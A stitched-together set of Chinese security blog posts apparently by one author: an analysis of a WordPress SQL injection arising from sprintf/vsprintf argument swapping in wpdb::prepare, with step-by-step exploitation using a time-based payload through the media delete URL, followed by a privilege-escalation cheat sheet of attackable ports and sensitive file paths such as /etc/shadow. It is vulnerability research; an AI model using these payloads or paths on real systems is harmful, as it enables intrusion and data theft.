需满足条件:

  • $post_id对应的文章存在
    因为有类型转换,所以可以用$post_id = '123 %1$%s abc'绕过。(转换为整数后$post_id = 123
  • $post_id对应的文章类型为attachment

3. 文件:/wp-includes/meta.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
...//ignore
function delete_metadata($meta_type, $object_id, $meta_key, $meta_value = '', $delete_all = false) {
global $wpdb;
if ( ! $meta_type || ! $meta_key || ! is_numeric( $object_id ) && ! $delete_all ) {
return false;
}
...//ignore
$meta_key = wp_unslash($meta_key);
$meta_value = wp_unslash($meta_value);
$check = apply_filters( "delete_{$meta_type}_metadata", null, $object_id, $meta_key, $meta_value, $delete_all );
if ( null !== $check )
return (bool) $check;
$_meta_value = $meta_value;
$meta_value = maybe_serialize( $meta_value );
$query = $wpdb->prepare( "SELECT $id_column FROM $table WHERE meta_key = %s", $meta_key );
if ( !$delete_all )
$query .= $wpdb->prepare(" AND $type_column = %d", $object_id );
if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value )
$query .= $wpdb->prepare(" AND meta_value = %s", $meta_value );
$meta_ids = $wpdb->get_col( $query );
if ( !count( $meta_ids ) )
return false;
if ( $delete_all ) {
$value_clause = '';
if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {
$value_clause = $wpdb->prepare( " AND meta_value = %s", $meta_value );
}
$object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key ) );
}
...//ignore

需满足条件:

  • “SELECT meta_id FROM wp_postmeta WHERE meta_key = ‘_thumbnail_id’ AND meta_value = ‘xxx’”存在
    即:需要使得wp_postmeta表内的_thumbnail_id的内容与我们的SQL语句一样(即内容为’123 %2$%s abc’)。

wp_postmeta表内的meta_key和meta_value字段是可通过写文章功能内的自定义栏目添加的。但是禁止添加名称以下划线开头的自定义栏目,所以正常情况下我们无法添加_thumbnail_id栏目。

关于如果绕过下划线检查添加post meta,请见下一篇文章:

3.3 SQL注入漏洞利用

  1. 添加媒体(/wp-admin/media-new.php),并记住媒体ID(这里的ID是55)。
添加媒体
  1. 获取_wpnonce。
    打开/wp-admin/edit.php?post_type=post,找到posts-filter内的_wpnonce(这里的_wpnonce是301ee97c09)
添加媒体
  1. 添加/修改POST META,使存在meta_key为’_thumbnail_id’的meta_value为'55 %1$%s or sleep(10)#'

  2. 访问/wp-admin/edit.php?action=delete&_wpnonce=301ee97c09&ids=55 %1$%s or sleep(10)#,触发SQL注入漏洞

Wordpress SQL注入分析(一)

作者:Ambulong

第一章: sprintf/vsprintf 中的 argument numbering/swapping

1.1 函数间的区别

在PHP中,我们主要通过sprintf函数和vsprintf函数来格式化字符串,同时会对参数进行类型的转换。这两个函数的区别在于sprintf函数在第一个参数之后可接收多个不同类型参数,vsprintf的第一个参数之后只接收一个数组参数(即:第二个参数只能是数组)。

sprintf函数

1
string sprintf ( string $format [, mixed $args [, mixed $... ]] )

vsprintf函数

1
string vsprintf ( string $format , array $args )

1.2 format参数

sprintf/vsprintf函数的第一个参数$format指定了如何格式化后面的参数。
常见的格式化类型如下:

标识 类型
%s 字符串
%d 整数
%f 浮点数

以下两个例子的输出结果是一样的

1
2
3
4
//例一
echo sprintf("str:%s int:%d float:%f", '123.123aa', '123.123aa', '123.123aa');
//例二
echo vsprintf("str:%s int:%d float:%f", array('123.123aa', '123.123aa', '123.123aa'));

输出结果:

1
str:123.123aa int:123 float:123.123000

1.3 format参数延伸

sprintf/vsprintf函数还可以用来将字符串自动补位,如:

例一:”123”用0补齐5位变成”00123”:

1
echo sprintf("%05d", '123');

0表示要补上的数字为0,5表示的是位数,d表示类型为整数。

例二:”123”用.补齐5位变成”..123”:

1
echo sprintf("%'.5d", '123');

‘.表示要补上的字符为。(字符需要加上’),5表示的是位数,d表示类型为整数。

需要了解更多关于format的描述,请参见 sprintf()

Argument numbering/swapping

sprintf/vsprintf的格式化字符串支持Argument numbering/swapping(中文直译:参数交换),即可以指定格式化标识表示的是第几个参数。
例一:

1
2
echo sprintf('%2$s %3$s %1$s', 'a1', 'a2', 'a3');
//输出:a2 a3 a1

例二:

1
2
echo sprintf('%s %s %1$s', 'a1', 'a2', 'a3');
//输出:a1 a2 a1

例三:

1
2
echo sprintf('%s %s %1$\'.5s', 'a1', 'a2', 'a3');
//输出:a1 a2 ...a1

注:Chapter 1由@Ambulong与@乐清小俊杰共同完成。

第二章: wpdb类中的prepare()函数

在Wordpress的数据库操作类wpdb(文件: /wp-includes/wp-db.php)中有一个prepare()函数,该函数主要用来对将要执行SQL语句进行预处理,如:

1
$wpdb->prepare( "SELECT * FROM `table` WHERE `column` = %s AND `field` = %d", 'foo', 1337 );

以上例子将会返回下列字符串:

1
SELECT * FROM `table` WHERE `column` = 'foo' AND `field` = 1337"

但是该函数没有并没有对传入的$query参数进行严格的过滤,如果$query参数内容或部分内容可控,就可能导致SQL注入。

prepare函数的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public function prepare( $query, $args ) {
if ( is_null( $query ) )
return;
// This is not meant to be foolproof -- but it will catch obviously incorrect usage.
if ( strpos( $query, '%' ) === false ) {
_doing_it_wrong( 'wpdb::prepare', sprintf( __( 'The query argument of %s must have a placeholder.' ), 'wpdb::prepare()' ), '3.9.0' );
}
$args = func_get_args();
array_shift( $args );
// If args were passed as an array (as in vsprintf), move them up
if ( isset( $args[0] ) && is_array($args[0]) )
$args = $args[0];
$query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it
$query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting
$query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // Force floats to be locale unaware
$query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // quote the strings, avoiding escaped strings like %%s
array_walk( $args, array( $this, 'escape_by_ref' ) );
return @vsprintf( $query, $args );
}

该函数主要做了以下几件工作:

1). 判断$args[0]是否数组,如果是则使$args=$args[0]。
2). 将$query中’%s’替换为%s。
3). 将$query中”%s”替换为%s。
4). 再将%s替换为’%s’。
5). 将$args用mysql_real_escape_string转义。
6). 返回vsprintf( $query, $args )。

经分析,该函数可能导致两个问题:

1). 逻辑漏洞

若程序中存在类似下列的代码:

1
$query = $wpdb->prepare( 'update articles set title = %s where id = %d and uid = %d', $_GET['title'], $_GET['id'], get_current_uid());

按正常的业务逻辑,prepare将返回vsprintf( 'update articles set title = %s where id = %d and uid = %d', array($_GET['title'], $_GET['id'], get_current_uid() )的执行结果。
但是此时format后的第一个参数($_GET[‘title’])我们完全可控,如果我们使第一个参数为数组,我们就可以控制用户ID,如:$_GET[‘title’] = array(‘title’, ‘id’ ,’xxx’),此时prepare将返回vsprintf( 'update articles set title = %s where id = %d and uid = %d', array('title', 'id' ,'xxx')
此时,一个越权漏洞就产生了。

2). SQL注入

若程序中存在类似下列的代码:

1
2
3
$append = $wpdb->prepare( 'and tag = %s', $_GET['tag']);
$query = $wpdb->prepare( 'select * from articles where uid = %d and cid = %d '.$append, get_current_uid(), $_GET['cid']);
mysql_query($query);

我们使得tag=%s,则$append="and tag = '%sa'"。此时的$query将为$wpdb->prepare( 'select * from articles where uid = %d and cid = %d and tag = \'%s\'', get_current_uid(), $_GET['cid']),经prepare处理后等同于$query = vsprintf('select * from articles where uid = %d and cid = %d and tag = \'\'%s\'a\'', array(get_current_uid(), $_GET['cid']));
此时的%s将处于单引号之外,如果%s可控,将导致SQL注入。此时,就要用到前面1.3部分提到的Argument numbering/swapping,我们可以使tag=%2$s,但是此时不存在%s,经prepare函数处理后,$query = vsprintf('select * from articles where uid = %d and cid = %d and tag = \'%2$s\'', array(get_current_uid(), $_GET['cid']));,虽然此时的%2$s经vsprintf函数格式化后将等于$_GET['cid']的值,但是参数被包含在引号之内,无法导致SQL注入。

这时我们就需要用到1.3内的字符串自动补位。我们使tag=%2$%s abc,经prepare处理后$query = vsprintf('select * from articles where uid = %d and cid = %d and tag = \'%2$\'%s\' abc\'', array(get_current_uid(), $_GET['cid']));。此时的关键部分为tag = '%2$'%s' abc',此时的%2$'%s为格式化标识,里面2代表第二个参数(即$_GET['cid']),’%表示用%填充,s表示格式化为字符串,默认的填充位数为0。

范例:

1
2
3
4
5
6
echo sprintf("tag = '%1$'%s' abc'", '123');
//输出tag = '123' abc'
echo sprintf("tag = '%1$'%0s' abc'", '123');
//输出tag = '123' abc'
echo sprintf("tag = '%1$'%5s' abc'", '123');
//输出tag = '%%123' abc'

此时的abc将在单引号外,且用户可控,即产生了SQL注入漏洞。

参考链接

SSRF And URL Related TIPS

Author: Ambulong

SSRF Related Tips

Vulnerabilities

Exploits

Tools

Posts & Reference

Local Privilege Escalation Tips

Author: Ambulong

PHP SESSION

  • phpMyAdmin
  • ownCloud

PHP Disable Functions Bypass

  • Shellshock(CVE-2014-6271)
  • Imagemagick
  • Ghostscript
  • FFmpeg

Port

  • 1099 - Java RMI (Java Deserialization RCE)
  • 2375 - Docker Remote API
  • 6379 - Redis
  • 8161 - ActiveMQ (CVE-2016-3088)
  • 9000 - PHP-CGI/FastCGI RCE
  • 9001 - Supervisord (CVE-2017-11610)
  • 9200 - Elasticsearch
  • 11211 - Memcached
  • 27017 - MongoDB
  • 27018 - MongoDB
  • 27019 - MongoDB

Service

  • Apache Tomcat

PATH

  • PHP SESSION SAVE PATH
    • /tmp
    • /var/lib/php/
    • /var/lib/php5/
    • /var/lib/php/sessions/
    • /var/lib/php5/sessions/
  • NGINX CONFIG
    • /usr/local/nginx/conf/nginx.conf
    • /usr/local/nginx/nginx.conf
    • /etc/nginx/nginx.conf
  • APACHE CONFIG
    • /etc/httpd/conf/httpd.conf
    • /usr/local/apache/conf/httpd.conf
    • /usr/local/apache2/conf/httpd.conf
    • /etc/httpd/conf.d
    • /etc/apache2/conf/httpd.conf
    • /etc/apache2/httpd.conf
    • /etc/apache2/sites-available/000-default.conf
    • /etc/apache2/sites-enabled/000-default.conf
    • /apps/apache/conf/httpd.conf
    • /apps/apache2/conf/httpd.conf
    • /etc/httpd/conf.d/vhosts.conf
  • PHP INI
    • /etc/php.ini
    • /etc/php/7.0/cli/php.ini
    • /etc/php/7.0/fpm/php.ini
    • /etc/php5/apache2/php.ini
    • /etc/php5/cli/php.ini
    • /usr/local/php/etc/php.ini
    • /usr/local/Zend/etc/php.ini
    • /usr/local/php/lib/php.ini
  • OTHER
    • /etc/passwd
    • /etc/shadow
    • /etc/group
    • /etc/gshadow
    • /etc/rc.local
    • /etc/issue
    • /etc/issue.net
    • /proc/version
    • /proc/self/environ
    • /etc/sysconfig/network-scripts/ifcfg-eth0
    • /etc/init.d/httpd
    • /etc/init.d/mysqld
    • /etc/syslog.conf
    • /var/log/yum.log
    • /etc/sysconfig/iptables-config
    • /var/log/cron
    • .bash_history
    • .mysql_history
    • .viminfo
    • /etc/vsftpd/vsftpd.conf
    • /etc/logrotate.d/vsftpd.log